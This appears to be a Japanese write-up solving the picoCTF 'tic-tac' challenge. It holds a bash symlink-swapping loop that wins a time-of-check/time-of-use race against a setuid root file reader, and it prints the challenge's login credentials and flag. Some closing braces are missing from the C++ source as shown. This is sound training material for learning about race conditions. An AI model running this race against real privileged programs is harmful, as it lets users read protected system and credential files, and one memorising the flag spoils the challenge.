tic-tac (Binary Exploitation)
Someone created a program to read text files; we think the program reads files with root privileges but apparently it only accepts to read files that are owned by the user running it. ssh
to saturn.picoctf.net:60006
, and run the binary named "txtreader" once connected. Login as ctf-player
with the password, d137d16e
とりあえず、ssh接続してみる。
$ ssh -p 60006 ctf-player@saturn.picoctf.net
ctf-player@pico-chall$ ls -al
total 32
drwxr-xr-x 1 ctf-player ctf-player 20 Jun 5 17:04 .
drwxr-xr-x 1 root root 24 Aug 4 2023 ..
drwx------ 2 ctf-player ctf-player 34 Jun 5 17:04 .cache
-rw-r--r-- 1 root root 67 Aug 4 2023 .profile
-rw------- 1 root root 32 Aug 4 2023 flag.txt
-rw-r--r-- 1 ctf-player ctf-player 912 Mar 16 2023 src.cpp
-rwsr-xr-x 1 root root 19016 Aug 4 2023 txtreader
ファイルを読み取るプログラムはsrc.cpp、実行ファイルはtxtreaderである。
src.cppは以下の通り。
#include <iostream>
#include <fstream>
#include <unistd.h>
#include <sys/stat.h>
int main(int argc, char *argv[]) {
if (argc != 2) {
std::cerr << "Usage: " << argv[0] << " <filename>" << std::endl;
return 1;
std::string filename = argv[1];
std::ifstream file(filename);
struct stat statbuf;
// Check the file's status information.
if (stat(filename.c_str(), &statbuf) == -1) {
std::cerr << "Error: Could not retrieve file information" << std::endl;
return 1;
// Check the file's owner.
if (statbuf.st_uid != getuid()) {
std::cerr << "Error: you don't own this file" << std::endl;
return 1;
// Read the contents of the file.
if (file.is_open()) {
std::string line;
while (getline(file, line)) {
std::cout << line << std::endl;
}
} else {
std::cerr << "Error: Could not open file" << std::endl;
return 1;
return 0;
ファイルの所有者と実行者が同一であることが求められるので、statbuf.st_uid != getuid()
に注目する。同一かどうかを確認するのにstat()を利用しているため、確認とファイル読み取りの間で、ファイルを入れ替えることができる(Time-of-Check to Time-of-Use)。ファイルの入れ替えは、symlink attackで実現できる。
確認とファイル読み取りの間でflag.txtへのsymbolic linkを作成する必要があるため、ダミーへのsymlinkとflag.txtへのsymlinkを入れ替え続け、確率的に上手くいくタイミングを狙う(race condition)。
symlink入れ替えスクリプトは、以下の通り。
#!/bin/bash
while true;
do
ln -sf src.cpp symlink.txt
ln -sf flag.txt symlink.txt
done
これに実行権限を付与して、バックグラウンドで実行しながら、txtreaderを実行する。
$ chmod +x replace.sh
$ ./replace.sh &
[1] 39
$ while ! ./txtreader symlink.txt | grep pico ; do :; done
Error: you don't own this file
picoCTF{ToctoU_!s_3a5y_f482a247}
フラグが得られた。
picoCTF{ToctoU_!s_3a5y_f482a247}